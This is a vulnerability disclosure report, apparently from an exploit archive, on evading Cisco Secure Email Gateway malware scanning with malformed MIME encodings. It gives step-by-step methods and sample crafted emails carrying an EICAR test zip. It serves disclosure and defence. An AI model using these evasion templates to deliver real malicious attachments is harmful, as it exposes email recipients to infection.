The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Cisco Secure Email Gateway Malware Detection Evasion
This report is being published within a coordinated disclosure
procedure. The researcher has been in contact with the vendor
but not received a satisfactory response within a given time
frame. As the attack complexity is low and exploits have already
been published by a third party there must be no further delay
in making the threads publicly known.
The researcher prefers not to take credit for their findings.
Evading Malware Detection by Cisco Secure Email Gateways
========================================================
Cisco Secure Email Gateways, formerly known as Cisco Ironport
Email Security Appliances, that are configured to detect
malicious email attachments, can easily be circumvented.
A remote attacker can leverage error tolerance and different
MIME decoding capabilities of email clients, compared with the
gateway, to evade detection of malicious payloads by anti-virus
components on the gateway.
Method 1: Cloaked Base 64
-------------------------
Step-by-step instruction:
1. Prepare an email with the malicious attachment with a
commonplace email client or employing standard MIME encoding,
using content-transfer-encoding base64.
2. Insert CR+LF line breaks at random places in the base64
encoded block so that the lines have different lengths,
but in a way that groups of four base64 characters (encoding
three bytes) stay together. This is intended to evade nave
heuristics to detect base64 even out of context, while not
violating the MIME standard.
3. Before the content-transfer-encoding header of the attachment,
insert another contradictory header "Content-Transfer-Encoding:
quoted-printable". This does violate the MIME standard.
4. Remove any content-length headers of the message, if present.
A complete email prepared in this way may look like this:
----------------------- begin example -----------------------
From: Mallory <[email protected]>
To: Alice <[email protected]>
Date: Mon, 27 Jun 2022 18:29:22 +0200
Subject: Your present
Mime-Version: 1.0
Message-Id: <[email protected]>
Content-type: multipart/mixed; boundary=boundary_ef5dcd26
--boundary_ef5dcd26
Content-type: text/plain
Content-Transfer-Encoding: quoted-printable
Here is your present.
--boundary_ef5dcd26
Content-type: application/octet-stream
Content-Disposition: attachment; filename="present.zip"
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: base64
UEsD
BAoAAAAAAN2Q
21Q8z1FoRAAAAEQAAAAJABwAZWlj
YXIuY29tVVQJAAOh
[... more similar lines skipped ...]
CwAB
BPgDAAAE6QMAAFBLBQYAAAAAAQABAE8A
AACHAAAAAAA=
--boundary_ef5dcd26--
----------------------- end example -----------------------
Emails prepared in this fashion will pass through affected
gateways with a verdict of being clean from malware, even if
the attachment is otherwise easily recognizable malware such as
the Eicar test virus. Many popular email clients, on the other
hand, will present the attached file and faithfully reproduce
it upon saving.
Affected systems:
This exploit was successfully tested with a zip file containing
the Eicar test virus and Cisco Secure Email Gateways with AsyncOS
14.2.0-620, 14.0.0-698, and others. Affected Email Clients were
Microsoft Outlook for Microsoft 365 MSO (Version 2210 Build
16.0.15726.20070) 64-bit, Mozilla Thunderbird 91.11.0 (64-bit),
Vivaldi 5.5.2805.42 (64-bit), Mutt 2.1.4-1ubuntu1.1, and others.
Method 2: yEnc Encoding
-----------------------
yEncode or short yEnc is an encoding typically employed by
usenet clients. Some email clients are capable of decoding MIME
parts with this encoding, too. A remote attacker using this
encoding for a malicious email attachment will evade malware
detection by affected gateways but may succeed in delivering
the payload to victims if they use particular email clients.
Other email clients will store the attachment in an undecoded
and thus not directly harmful form.
An email prepared in this way may look like this:
----------------------- begin example -----------------------
From: Mallory <[email protected]>
To: Alice <[email protected]>
Date: Mon, 27 Jun 2022 18:29:22 +0200
Subject: Your present
Mime-Version: 1.0
Message-Id: <[email protected]>
Content-type: multipart/mixed; boundary=boundary_ef5dcd26
--boundary_ef5dcd26
Content-type: text/plain
Content-Transfer-Encoding: quoted-printable
Here is your present.
--boundary_ef5dcd26
Content-type: application/octet-stream
Content-Disposition: attachment; filename="present.zip"
Content-Transfer-Encoding: x-yencode
=ybegin line=128 size=236 name=file.bin
[... binary content skipped ...]
=yend size=236
--boundary_ef5dcd26--
----------------------- end example -----------------------
Affected Systems:
This exploit was successfully tested with a zip file containing
the Eicar test virus and Cisco Secure Email Gateways with AsyncOS
14.2.0-620, 14.0.0-698, and others. An affected Email Client
was Mozilla Thunderbird 91.11.0 (64-bit).
Method 3: Cloaked Quoted-Printable
----------------------------------
This method is similar to method 1 with the roles of
quoted-printable and base64 swapped. The payload has to
be encoded quoted-printable, but with each byte rather than
just non-printable bytes encoded and on separate lines with
continuation. The contradicting headers now come in the order
base64, quoted-printable.
An email prepared in this way may look like this:
----------------------- begin example -----------------------
From: Mallory <[email protected]>
To: Alice <[email protected]>
Date: Mon, 27 Jun 2022 18:29:22 +0200
Subject: Your present
Mime-Version: 1.0
Message-Id: <[email protected]>
Content-type: multipart/mixed; boundary=boundary_ef5dcd26
--boundary_ef5dcd26
Content-type: text/plain
Content-Transfer-Encoding: quoted-printable
Here is your present.
--boundary_ef5dcd26
Content-type: application/octet-stream
Content-Disposition: attachment; filename="present.zip"
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: quoted-printable
=50=
=4B=
=03=
=04=
[... more similar lines skipped ...]
=00=
=00=
=00=
=00=
--boundary_ef5dcd26--
----------------------- end example -----------------------
Affected Systems:
This exploit was successfully tested with a zip file containing
the Eicar test virus and Cisco Secure Email Gateways with AsyncOS
14.2.0-620, 14.0.0-698, and others. Affected Email Clients
were Vivaldi 5.5.2805.42 (64-bit) and Mutt 2.1.4-1ubuntu1.1.
References
----------
Code employing the methods presented here and many similar
techniques to manipulate MIME encoding can be found on GitHub:
https://github.com/noxxi/mime-is-broken
Cisco has published an advisory with a workaround
facilitating an undocumented feature of the gateway that
can be used to block incorrect MIME. This mitigates
many cases of the test suite from GitHub, but not all,
particularly not the ones presented in this report. URL:
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwc34679
End of the report.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum